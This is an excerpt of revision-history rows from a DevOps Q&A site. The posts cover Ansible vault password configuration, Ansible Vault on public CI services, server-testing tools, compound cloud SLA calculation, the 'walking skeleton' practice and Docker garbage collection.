  <row Id="2233" PostHistoryTypeId="5" PostId="702" RevisionGUID="89c42df3-8b42-403d-a0fd-703810fabab3" CreationDate="2017-03-28T15:12:11.807" UserId="13" Comment="added 1 character in body" Text="To avoid relying on `dind` (out of building new images from a dockerfile which should be ok) I'd look around [Jenkins's kubernetes](https://wiki.jenkins-ci.org/display/JENKINS/Kubernetes+Plugin) plugin.&#xD;&#xA;&#xD;&#xA;It obviously needs to bring to life a kubernetes cluster but allow to have a one time jenkins agent to run the test in a clean isolated environment, and then tear it off. The maintenance costs of the kubernetes cluster should not be greater than maintaining your Jenkins slaves. &#xD;&#xA;&#xD;&#xA;The bonus point is that you can version you slaves with specific environment and don't have to tweak around for multiples version of ruby/java/python and let the task choose the proper &quot;environment&quot; by specifying the agent image to use and have a ready to test environment without any tweak pre-test. &#xD;&#xA;&#xD;&#xA;I'd head toward kurbenetes as container scheduler because it is relatively lightweight to configure and maintain.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2234" PostHistoryTypeId="2" PostId="703" RevisionGUID="a6661b2f-f208-4055-ace1-2713d791c3d8" CreationDate="2017-03-28T16:54:07.660" UserId="210" Text="According the help of ansible-playbook one could use `--user=REMOTE_USER` to define the ssh user, but one could also define `ansible_ssh_user: REMOTE_USER` in either the host- or group_vars.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;What variable need to be defined in either the group- or host_vars directory to prevent that `--vault-password-file` has to be defined while running `ansible-playbook`?&#xD;&#xA;&#xD;&#xA;**Attempts**&#xD;&#xA;&#xD;&#xA; - When `ansible_vault_password_file: ~/.vault_pass.txt` is defined in the config the decryption fails:&#xD;&#xA;&#xD;&#xA;        ERROR! Decryption failed on /path/to/vault&#xD;&#xA;&#xD;&#xA; - No associated vault variables was found in [this documentation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/intro_inventory.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostHistoryTypeId="1" PostId="703" RevisionGUID="a6661b2f-f208-4055-ace1-2713d791c3d8" CreationDate="2017-03-28T16:54:07.660" UserId="210" Text="What is Ansible's config equivalent of `--vault-password-file`?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2236" PostHistoryTypeId="3" PostId="703" RevisionGUID="a6661b2f-f208-4055-ace1-2713d791c3d8" CreationDate="2017-03-28T16:54:07.660" UserId="210" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostHistoryTypeId="2" PostId="704" RevisionGUID="dbb38810-b095-4aeb-bbfd-69bec17036c3" CreationDate="2017-03-28T19:34:09.267" UserId="228" Text="Here is the definition:&#xD;&#xA;&#xD;&#xA;    DEFAULT_VAULT_PASSWORD_FILE = get_config(p, DEFAULTS, 'vault_password_file', 'ANSIBLE_VAULT_PASSWORD_FILE', None, value_type='path')&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that it is:&#xD;&#xA;&#xD;&#xA;    vault_password_file: ~/.vault_pass.txt" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostHistoryTypeId="2" PostId="705" RevisionGUID="18443977-b01e-4a2c-a806-a03369a65da4" CreationDate="2017-03-28T19:48:09.290" UserId="488" Text="There are many tools that can do something like this, including configuration management tools like Chef, Ansible, or Puppet; and KVS tools like Consul and etcd. You could also integrate it as a build step in your CI server, or sidestep the issue using live configuration at runtime against an external configuration store (again, something like Consul or etcd, or any database at all)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostHistoryTypeId="5" PostId="704" RevisionGUID="3e30ce9f-4261-4513-970f-1de1c56b362f" CreationDate="2017-03-28T23:43:28.117" UserId="210" Comment="hyperlink created, improved readability" Text="[Here][1] is the definition:&#xD;&#xA;&#xD;&#xA;    DEFAULT_VAULT_PASSWORD_FILE = get_config(p, DEFAULTS, 'vault_password_file', \&#xD;&#xA;    'ANSIBLE_VAULT_PASSWORD_FILE', None, value_type='path')&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;This means that it is:&#xD;&#xA;&#xD;&#xA;    vault_password_file: ~/.vault_pass.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="2240" PostHistoryTypeId="24" PostId="704" RevisionGUID="3e30ce9f-4261-4513-970f-1de1c56b362f" CreationDate="2017-03-28T23:43:28.117" Comment="Proposed by 210 approved by 47, 40 edit id of 201" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostHistoryTypeId="2" PostId="706" RevisionGUID="c5525632-1910-4084-ba5c-c084dcdf4dfb" CreationDate="2017-03-29T01:47:22.920" UserId="863" Text="Some options out there..&#xD;&#xA;&#xD;&#xA;**Testing tools:** Sorted by github stars&#xD;&#xA;&#xD;&#xA;* [Serverspec][2] - Ruby, most popular tool out there, built on ruby's rspec&#xD;&#xA;* [Goss][1] - YAML, simple, &lt;10MB self-contained binary, extremely fast, can generate tests from system state&#xD;&#xA;* Inspec - Ruby, think of it as an improved serverspec, almost same syntax, made by the chef guys. Built to be easier to extend than serverspec&#xD;&#xA;* Testinfra - Python, has the cool feature of being able to use Ansible's inventory/vars&#xD;&#xA;&#xD;&#xA;**Major differences between them:**&#xD;&#xA;&#xD;&#xA;For better or worse, Goss approaches server validation differently than the other frameworks.&#xD;&#xA;&#xD;&#xA;* With the exception of Goss, all the frameworks rely exclusively on external system commands, this makes them less performant, but allows them to run tests against a remote machine (ex. over ssh). Goss only runs locally or in docker w/ dgoss.&#xD;&#xA;* All frameworks can be run locally on a server, but require Python or Ruby to be installed. Goss is a single &lt;10MB binary with no external dependencies.&#xD;&#xA;* Goss has built in support for nagios/sensu output, this allows for easier integration with monitoring tools (see next section).&#xD;&#xA;* Goss tests tend to be simpler, but less flexible since it's based on YAML. Other frameworks allow you to leverage the full power of the underlying language Python/Ruby. (simplicity vs flexibility)&#xD;&#xA;* Goss allows you to generate tests from current system state&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Continuous/divergence testing:**&#xD;&#xA;&#xD;&#xA;* Chef Compliance - works with inspec to continuously test your servers, paid product&#xD;&#xA;* Goss - Can be easily hooked into Nagios or Sensu. Also, supports exposing server tests as an http endpoint.&#xD;&#xA;&#xD;&#xA;**Testing harnesses for development:**&#xD;&#xA;&#xD;&#xA;* test-kitchen - Testing harness tool, launches instance, runs config management code, runs test suite. Made by the chef guys&#xD;&#xA;* Molecule - Similar to test kitchen, but written specifically for ansible&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aelsabbahy/goss&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;&#xD;&#xA;***Full Disclosure:** I'm the author of goss*&#xD;&#xA;&#xD;&#xA;*Note: I don't have enough reputation to create more than two links, maybe someone can edit this answer and add the appropriate links*" ContentLicense="CC BY-SA 3.0" />
  <row Id="2244" PostHistoryTypeId="5" PostId="622" RevisionGUID="a1520183-8146-471a-afbc-eb2a93084426" CreationDate="2017-03-29T05:06:53.750" UserId="250" Comment="improved formatting" Text="I was trying to do something similar (embed build status icons into email notifications) but since our build system is not publicly accessible, I ended up posting the status icons to imgur and referencing those images by storing the URL in variables according to state.&#xD;&#xA;&#xD;&#xA;Here are some snippets from my email template Groovyscript:&#xD;&#xA;&#xD;&#xA;**Defining the URLs:**&#xD;&#xA;&#xD;&#xA;    def images = [:]&#xD;&#xA;    images[&quot;SUCCESS&quot;] = &quot;http://i.imgur.com/uXlqCxW.gif&quot;&#xD;&#xA;    images[&quot;PASSED&quot;] = &quot;http://i.imgur.com/uXlqCxW.gif&quot;&#xD;&#xA;    images[&quot;UNSTABLE&quot;] = &quot;http://i.imgur.com/QkQbxR3.gif&quot;&#xD;&#xA;    images[&quot;SKIPPED&quot;] = &quot;http://i.imgur.com/QkQbxR3.gif&quot;&#xD;&#xA;    images[&quot;FAILURE&quot;] = &quot;http://i.imgur.com/LUveOg7.gif&quot;&#xD;&#xA;    images[&quot;FAILED&quot;] = &quot;http://i.imgur.com/LUveOg7.gif&quot;&#xD;&#xA;    images[&quot;ABORTED&quot;] = &quot;http://i.imgur.com/jSdrWWP.gif&quot;&#xD;&#xA;    images[&quot;NOT_RUN&quot;] = &quot;http://i.imgur.com/jSdrWWP.gif&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Using the URLs in the email:**&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;${images[build.result.toString()]}&quot; /&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2245" PostHistoryTypeId="24" PostId="622" RevisionGUID="a1520183-8146-471a-afbc-eb2a93084426" CreationDate="2017-03-29T05:06:53.750" Comment="Proposed by 250 approved by 228, 40 edit id of 202" ContentLicense="CC BY-SA 3.0" />
  <row Id="2250" PostHistoryTypeId="2" PostId="708" RevisionGUID="2f7474cc-9046-4dae-8753-3b3ef9347a9c" CreationDate="2017-03-29T07:32:37.687" UserId="775" Text="You can set an environment variable `ANSIBLE_VAULT_PASSWORD_FILE` storing the path the the vault password file. This way you won't have the always use the `--vault-password-file` switch when running a playbook. &#xD;&#xA;&#xD;&#xA;This is described in Ansible's Vault documentation, available [here][1].&#xD;&#xA;&#xD;&#xA;So, add `ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt` to your `~/.bash_profile`, source from it and you're ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2251" PostHistoryTypeId="5" PostId="708" RevisionGUID="6dd318c8-a3c8-46fd-b734-630a02bdb252" CreationDate="2017-03-29T08:00:53.700" UserId="775" Comment="added 872 characters in body" Text="You can set an environment variable `ANSIBLE_VAULT_PASSWORD_FILE` storing the path the the vault password file. This way you won't have the always use the `--vault-password-file` switch when running a playbook. &#xD;&#xA;&#xD;&#xA;This is described in Ansible's Vault documentation, available [here][1].&#xD;&#xA;&#xD;&#xA;So, add `ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt` to your `~/.bash_profile`, source from it and you're ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you need different vault passwords for different groups of hosts, then you should do the following:&#xD;&#xA;&#xD;&#xA;&gt; Inside of this subdirectory,&#xD;&#xA;&gt; create two files named vars and vault. Inside of the vars file, define&#xD;&#xA;&gt; all of the variables needed, including any sensitive ones. Next, copy&#xD;&#xA;&gt; all of the sensitive variables over to the vault file and prefix these&#xD;&#xA;&gt; variables with vault_. You should adjust the variables in the vars&#xD;&#xA;&gt; file to point to the matching vault_ variables and ensure that the&#xD;&#xA;&gt; vault file is vault encrypted.&#xD;&#xA;&#xD;&#xA;This is an example for best practices approach for managing sensitive information on per group basis. More information is available in Ansible's documentation, available [here][2] (The above text is copied from there). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/playbooks_best_practices.html#best-practices-for-variables-and-vaults" ContentLicense="CC BY-SA 3.0" />
  <row Id="2252" PostHistoryTypeId="5" PostId="708" RevisionGUID="b09c5566-ad7c-41de-bae4-daa48ba27b1f" CreationDate="2017-03-29T08:06:12.443" UserId="775" Comment="deleted 11 characters in body" Text="You can set an environment variable `ANSIBLE_VAULT_PASSWORD_FILE` storing the path the the vault password file. This way you won't have the always use the `--vault-password-file` switch when running a playbook. &#xD;&#xA;&#xD;&#xA;This is described in Ansible's Vault documentation, available [here][1].&#xD;&#xA;&#xD;&#xA;So, add `ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt` to your `~/.bash_profile`, source from it and you're ready to go.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you need different vault passwords for different groups of hosts, then you should do the following:&#xD;&#xA;&#xD;&#xA;&gt; Inside of this subdirectory,&#xD;&#xA;&gt; create two files named vars and vault. Inside of the vars file, define&#xD;&#xA;&gt; all of the variables needed, including any sensitive ones. Next, copy&#xD;&#xA;&gt; all of the sensitive variables over to the vault file and prefix these&#xD;&#xA;&gt; variables with vault_. You should adjust the variables in the vars&#xD;&#xA;&gt; file to point to the matching vault_ variables and ensure that the&#xD;&#xA;&gt; vault file is vault encrypted.&#xD;&#xA;&#xD;&#xA;This is an example for best practices approach for managing sensitive information on per group basis. More information is available in Ansible's documentation [here][2] (The above text is copied from there). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/playbooks_best_practices.html#best-practices-for-variables-and-vaults" ContentLicense="CC BY-SA 3.0" />
  <row Id="2253" PostHistoryTypeId="2" PostId="709" RevisionGUID="6a940654-c8cd-493a-ab52-e478943cd866" CreationDate="2017-03-29T09:13:56.420" UserId="210" Text="**Introduction**&#xD;&#xA;&#xD;&#xA;On a private CI's like Gitlab-ce it is possible to copy an ~/.vault_pass.txt to the server and let it use by the CI to decrypt files using Ansible.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;On public CI's like Bitbucket it is not possible to copy a ~/.vault_pass.txt to the CI server it self.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In Bitbucket it is possible to define encrypted variables, but when [this][1] file is checked the only VAULT related variables are:&#xD;&#xA;&#xD;&#xA; - `ANSIBLE_ASK_VAULT_PASS`&#xD;&#xA; - `ANSIBLE_VAULT_PASSWORD_FILE`&#xD;&#xA;&#xD;&#xA;These variables are not an option to solve the issue as when the `ANSIBLE_ASK_VAULT_PASS` is set `ansible-vault` still prompts:&#xD;&#xA;&#xD;&#xA;    user@host $&#xD;&#xA;    Vault password:&#xD;&#xA;&#xD;&#xA;When the same password is entered it can open the encrypted file, but the aim is to open the file without needing a file or entering a password in a prompt.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="2254" PostHistoryTypeId="1" PostId="709" RevisionGUID="6a940654-c8cd-493a-ab52-e478943cd866" CreationDate="2017-03-29T09:13:56.420" UserId="210" Text="What are best practices for using Ansible Vault on public CI's like BitBucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2255" PostHistoryTypeId="3" PostId="709" RevisionGUID="6a940654-c8cd-493a-ab52-e478943cd866" CreationDate="2017-03-29T09:13:56.420" UserId="210" Text="&lt;ansible-vault&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2257" PostHistoryTypeId="5" PostId="709" RevisionGUID="2d988b46-9ba7-4165-b286-df10f04c3996" CreationDate="2017-03-29T09:29:27.440" UserId="210" Comment="added 143 characters in body" Text="**Introduction**&#xD;&#xA;&#xD;&#xA;On a private CI's like Gitlab-ce it is possible to copy an ~/.vault_pass.txt to the server and let it use by the CI to decrypt files using Ansible.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;On public CI's like Bitbucket it is not possible to copy a ~/.vault_pass.txt to the CI server it self.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In Bitbucket it is possible to define encrypted variables, but when [this][1] file is checked the only VAULT related variables are:&#xD;&#xA;&#xD;&#xA; - `ANSIBLE_ASK_VAULT_PASS`&#xD;&#xA; - `ANSIBLE_VAULT_PASSWORD_FILE`&#xD;&#xA;&#xD;&#xA;These variables are not an option to solve the issue as when the `ANSIBLE_ASK_VAULT_PASS` is set `ansible-vault` still prompts:&#xD;&#xA;&#xD;&#xA;    user@host $&#xD;&#xA;    Vault password:&#xD;&#xA;&#xD;&#xA;When the same password is entered it can open the encrypted file, but the aim is to open the file without needing a file or entering a password in a prompt.&#xD;&#xA;&#xD;&#xA;Another attempt to solve the issue was running `export ANSIBLE_ASK_VAULT_PASS=&lt;ansible-vault-password&gt;`, but the interactive mode persists.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostHistoryTypeId="2" PostId="711" RevisionGUID="612a8190-6d72-4b0b-9bdd-7919efefcad3" CreationDate="2017-03-29T10:57:34.773" UserId="397" Text="Cloud services hosted by [Amazon Web Services][1], [Azure][2], [Google][3] and most others [publish the **S**ervice **L**evel **A**greement][4], or SLA, for the individual services they provide.  Architects, Platform Engineers and Developers are then responsible for putting these together to create an architecture that provides the hosting for an application.&#xD;&#xA;&#xD;&#xA;Taken in isolation, these services usually provide something in the range of three to four nine's of availability:&#xD;&#xA;&#xD;&#xA; - Azure Traffic Manager: 99.99% or 'four nines'.&#xD;&#xA; - SQL Azure: 99.99% or 'four nines'.&#xD;&#xA; - Azure App Service: 99.95% or 'three nine five'.&#xD;&#xA;&#xD;&#xA;However when combined together in architectures there is the possibility that any one component could suffer an outage resulting in an overall availability that is not equal to the the component services.&#xD;&#xA;&#xD;&#xA;Serial Compound Availability&#xD;&#xA;----------------------------&#xD;&#xA;&#xD;&#xA;[![Serial Availability][5]][5]&#xD;&#xA;&#xD;&#xA;In this example there are three possible failure modes:&#xD;&#xA;&#xD;&#xA; - SQL Azure is down&#xD;&#xA; - App Service is down&#xD;&#xA; - Both are down&#xD;&#xA;&#xD;&#xA;Therefore the overall availability of this &quot;system&quot; must lower than 99.95%.&#xD;&#xA;&#xD;&#xA;Serial and Parallel Availability&#xD;&#xA;--------------------------------&#xD;&#xA;&#xD;&#xA;[![Serial and Parallel Availability][6]][6]&#xD;&#xA;&#xD;&#xA;In this architecture there are a large number of failure modes however principally:&#xD;&#xA;&#xD;&#xA; - SQL Server in RegionA is down&#xD;&#xA; - SQL Server in RegionB is down&#xD;&#xA; - App Service in RegionA is down&#xD;&#xA; - App Service in RegionB is down&#xD;&#xA; - Traffic Manager is down&#xD;&#xA; - Combinations of Above&#xD;&#xA;&#xD;&#xA;Because Traffic Manager is a circuit breaker it is capable of detecting an outage in either region and routing traffic to the working region, however there is still a single point of failure in the form of Traffic Manager so the total availability of the &quot;system&quot; cannot be higher than 99.99%.&#xD;&#xA;&#xD;&#xA;How can the compound availability of the two systems above be calculated and documented for the business, potentially requiring rearchitecting if the business desires a higher service level than the architecture is capable of providing?&#xD;&#xA;&#xD;&#xA;If you want to annotate the diagrams, I have built them in [Lucid Chart][7] and created a multi-use link, bear in mind that anyone can edit this so you might want to create a copy of the pages to annotate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/&#xD;&#xA;  [2]: https://azure.microsoft.com/&#xD;&#xA;  [3]: https://cloud.google.com/compute/&#xD;&#xA;  [4]: https://azure.microsoft.com/en-gb/support/legal/sla/traffic-manager/v1_0/&#xD;&#xA;  [5]: https://i.stack.imgur.com/yHl4U.png&#xD;&#xA;  [6]: https://i.stack.imgur.com/wSLk5.png&#xD;&#xA;  [7]: https://www.lucidchart.com/invitations/accept/94e87d78-8f60-4277-9a86-8285cd8746ce" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostHistoryTypeId="1" PostId="711" RevisionGUID="612a8190-6d72-4b0b-9bdd-7919efefcad3" CreationDate="2017-03-29T10:57:34.773" UserId="397" Text="How do you calculate the compound Service Level Agreement (SLA) for cloud services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2261" PostHistoryTypeId="3" PostId="711" RevisionGUID="612a8190-6d72-4b0b-9bdd-7919efefcad3" CreationDate="2017-03-29T10:57:34.773" UserId="397" Text="&lt;architecture&gt;&lt;cloud&gt;&lt;sla&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostHistoryTypeId="5" PostId="709" RevisionGUID="33f4c1a3-9c7d-46d2-84cb-6bad62d5d0b9" CreationDate="2017-03-29T10:58:42.957" UserId="210" Comment="added 64 characters in body; edited title" Text="**Introduction**&#xD;&#xA;&#xD;&#xA;On a private CI's and Source Control Repositories like Gitlab-ce it is possible to copy an ~/.vault_pass.txt to the server and let it use by the CI to decrypt files using Ansible.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;On public CI's and Source Control Repositories like Bitbucket it is not possible to copy a ~/.vault_pass.txt to the CI server it self.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;In Bitbucket it is possible to define encrypted variables, but when [this][1] file is checked the only VAULT related variables are:&#xD;&#xA;&#xD;&#xA; - `ANSIBLE_ASK_VAULT_PASS`&#xD;&#xA; - `ANSIBLE_VAULT_PASSWORD_FILE`&#xD;&#xA;&#xD;&#xA;These variables are not an option to solve the issue as when the `ANSIBLE_ASK_VAULT_PASS` is set `ansible-vault` still prompts:&#xD;&#xA;&#xD;&#xA;    user@host $&#xD;&#xA;    Vault password:&#xD;&#xA;&#xD;&#xA;When the same password is entered it can open the encrypted file, but the aim is to open the file without needing a file or entering a password in a prompt.&#xD;&#xA;&#xD;&#xA;Another attempt to solve the issue was running `export ANSIBLE_ASK_VAULT_PASS=&lt;ansible-vault-password&gt;`, but the interactive mode persists.&#xD;&#xA;&#xD;&#xA;Another option is `export ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txt`, but then this file needs to be pushed to the repository, but source Control repositories should not contain passwords.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/blob/devel/lib/ansible/constants.py" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostHistoryTypeId="4" PostId="709" RevisionGUID="33f4c1a3-9c7d-46d2-84cb-6bad62d5d0b9" CreationDate="2017-03-29T10:58:42.957" UserId="210" Comment="added 64 characters in body; edited title" Text="What are best practices for using Ansible Vault on public CI's and Source Control Repositories like BitBucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2264" PostHistoryTypeId="2" PostId="712" RevisionGUID="9b57b5f4-e094-460c-b767-c0d3347beb67" CreationDate="2017-03-29T11:11:04.717" UserId="397" Text="One of my agile teams has taken an interesting approach in the early stages of their project.  Instead of starting the project with a Sprint 0 where they setup code infrastructure and decide of solution architecture they have started building a &quot;Walking Skeleton&quot;, which they describe as a DevOps practice.&#xD;&#xA;&#xD;&#xA;What this seems to come down to is let's build something very small, in the case of an API a single endpoint that just returns `200-OK` get this working in continuious integratin and build out the continuious delivery pipeline to deploy this through each of the environments:&#xD;&#xA;&#xD;&#xA;&gt; Development ► Test ► UAT ► Pre-production ► Production&#xD;&#xA;&#xD;&#xA;In the process they have managed to tick off many of the non-functional requirements that could have been missed if deployments were left to the last minute.&#xD;&#xA;&#xD;&#xA;My question is this; what is a &quot;Walking Skeleton&quot; and what benefit does it provide to a Agile team following DevOps practices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostHistoryTypeId="1" PostId="712" RevisionGUID="9b57b5f4-e094-460c-b767-c0d3347beb67" CreationDate="2017-03-29T11:11:04.717" UserId="397" Text="What is a &quot;Walking Skeleton&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostHistoryTypeId="3" PostId="712" RevisionGUID="9b57b5f4-e094-460c-b767-c0d3347beb67" CreationDate="2017-03-29T11:11:04.717" UserId="397" Text="&lt;terminology&gt;&lt;patterns&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostHistoryTypeId="5" PostId="711" RevisionGUID="3235cf88-7736-4846-a871-64c7cb4145ea" CreationDate="2017-03-29T11:17:41.573" UserId="397" Comment="Added clarification from comment." Text="Cloud services hosted by [Amazon Web Services][1], [Azure][2], [Google][3] and most others [publish the **S**ervice **L**evel **A**greement][4], or SLA, for the individual services they provide.  Architects, Platform Engineers and Developers are then responsible for putting these together to create an architecture that provides the hosting for an application.&#xD;&#xA;&#xD;&#xA;Taken in isolation, these services usually provide something in the range of three to four nine's of availability:&#xD;&#xA;&#xD;&#xA; - Azure Traffic Manager: 99.99% or 'four nines'.&#xD;&#xA; - SQL Azure: 99.99% or 'four nines'.&#xD;&#xA; - Azure App Service: 99.95% or 'three nine five'.&#xD;&#xA;&#xD;&#xA;However when combined together in architectures there is the possibility that any one component could suffer an outage resulting in an overall availability that is not equal to the the component services.&#xD;&#xA;&#xD;&#xA;Serial Compound Availability&#xD;&#xA;----------------------------&#xD;&#xA;&#xD;&#xA;[![Serial Availability][5]][5]&#xD;&#xA;&#xD;&#xA;In this example there are three possible failure modes:&#xD;&#xA;&#xD;&#xA; - SQL Azure is down&#xD;&#xA; - App Service is down&#xD;&#xA; - Both are down&#xD;&#xA;&#xD;&#xA;Therefore the overall availability of this &quot;system&quot; must lower than 99.95%.  My rationale for thinking this is *if* the SLA for both services was:&#xD;&#xA;&#xD;&#xA;&gt; The service will be available 23 hours out of 24&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA; - The App Service could be out between 0100 and 0200&#xD;&#xA; - The Database out between 0500 and 0600&#xD;&#xA;&#xD;&#xA;Both component parts are within their SLA but the total system was unavailable for 2 hours out of 24.&#xD;&#xA;&#xD;&#xA;Serial and Parallel Availability&#xD;&#xA;--------------------------------&#xD;&#xA;&#xD;&#xA;[![Serial and Parallel Availability][6]][6]&#xD;&#xA;&#xD;&#xA;In this architecture there are a large number of failure modes however principally:&#xD;&#xA;&#xD;&#xA; - SQL Server in RegionA is down&#xD;&#xA; - SQL Server in RegionB is down&#xD;&#xA; - App Service in RegionA is down&#xD;&#xA; - App Service in RegionB is down&#xD;&#xA; - Traffic Manager is down&#xD;&#xA; - Combinations of Above&#xD;&#xA;&#xD;&#xA;Because Traffic Manager is a circuit breaker it is capable of detecting an outage in either region and routing traffic to the working region, however there is still a single point of failure in the form of Traffic Manager so the total availability of the &quot;system&quot; cannot be higher than 99.99%.&#xD;&#xA;&#xD;&#xA;How can the compound availability of the two systems above be calculated and documented for the business, potentially requiring rearchitecting if the business desires a higher service level than the architecture is capable of providing?&#xD;&#xA;&#xD;&#xA;If you want to annotate the diagrams, I have built them in [Lucid Chart][7] and created a multi-use link, bear in mind that anyone can edit this so you might want to create a copy of the pages to annotate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/&#xD;&#xA;  [2]: https://azure.microsoft.com/&#xD;&#xA;  [3]: https://cloud.google.com/compute/&#xD;&#xA;  [4]: https://azure.microsoft.com/en-gb/support/legal/sla/traffic-manager/v1_0/&#xD;&#xA;  [5]: https://i.stack.imgur.com/yHl4U.png&#xD;&#xA;  [6]: https://i.stack.imgur.com/wSLk5.png&#xD;&#xA;  [7]: https://www.lucidchart.com/invitations/accept/94e87d78-8f60-4277-9a86-8285cd8746ce" ContentLicense="CC BY-SA 3.0" />
  <row Id="2268" PostHistoryTypeId="5" PostId="268" RevisionGUID="f9c0dc56-41a1-4eaa-95bc-02d74f3ea2fc" CreationDate="2017-03-29T12:15:31.533" UserId="47" Comment="update following comment" Text="Traditionally CI systems only perform **monitoring** of the quality levels in an integration branch, by performing QA verifications on the codebase where the changes are already committed, watching for regressions and sending notifications for human intervention. &#xD;&#xA;&#xD;&#xA;But when these regressions are detected the branch has already been in trouble at least since the respective QA verification started and will remain in such state (or even get worse!) until all the culprits are identified, repairs for them committed and a new QA verification confirms the branch quality level was restored. The branch can be considered blocked for normal development during all this time.&#xD;&#xA;&#xD;&#xA;Is there a CI tool capable of actually **preventing** such regressions, which would perform *pre-commit* QA verifications and allowing commits only when the codebase updated with the respective commits would be passing those pre-commit QA verifications as well, thus guaranteeing a minimum branch quality level?&#xD;&#xA;&#xD;&#xA;**Update:** the assumption is that suitable automated QA verifications with appropriate coverage to be able to detect the respective regressions are available for invocation by the CI tool(s)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2269" PostHistoryTypeId="5" PostId="268" RevisionGUID="73c42a19-625d-4f1c-a107-27a430954da1" CreationDate="2017-03-29T12:26:55.003" UserId="47" Comment="added 15 characters in body" Text="Traditionally CI systems only perform **monitoring** of the quality levels in an integration branch, by performing QA verifications on the codebase where the changes are already committed, watching for regressions and sending notifications for human intervention. &#xD;&#xA;&#xD;&#xA;But when these regressions are detected the branch has already been in trouble at least since the respective QA verification started and will remain in such state (or even get worse!) until all the culprits are identified, repairs for them committed and a new QA verification confirms the branch quality level was restored. The branch can be considered blocked for normal development during all this time.&#xD;&#xA;&#xD;&#xA;Is there a CI tool capable of actually **preventing** such regressions from happening, which would perform *pre-commit* QA verifications and allowing commits only when the codebase updated with the respective commits would be passing those pre-commit QA verifications as well, thus guaranteeing a minimum branch quality level?&#xD;&#xA;&#xD;&#xA;**Update:** the assumption is that suitable automated QA verifications with appropriate coverage to be able to detect the respective regressions are available for invocation by the CI tool(s)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostHistoryTypeId="2" PostId="713" RevisionGUID="f0d9d822-866a-4797-ae7a-869e96947e98" CreationDate="2017-03-29T12:32:17.797" UserId="863" Text="I've had good luck with&#xD;&#xA;[Spotify/docker-gc][1]. It can be run from cron or as a docker container.&#xD;&#xA;&#xD;&#xA;&gt; A simple Docker container and image garbage collection script.&#xD;&#xA;&#xD;&#xA;&gt; * Containers that exited more than an hour ago are removed.&#xD;&#xA;* Images that don't belong to any remaining container after that are removed.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/spotify/docker-gc" ContentLicense="CC BY-SA 3.0" />
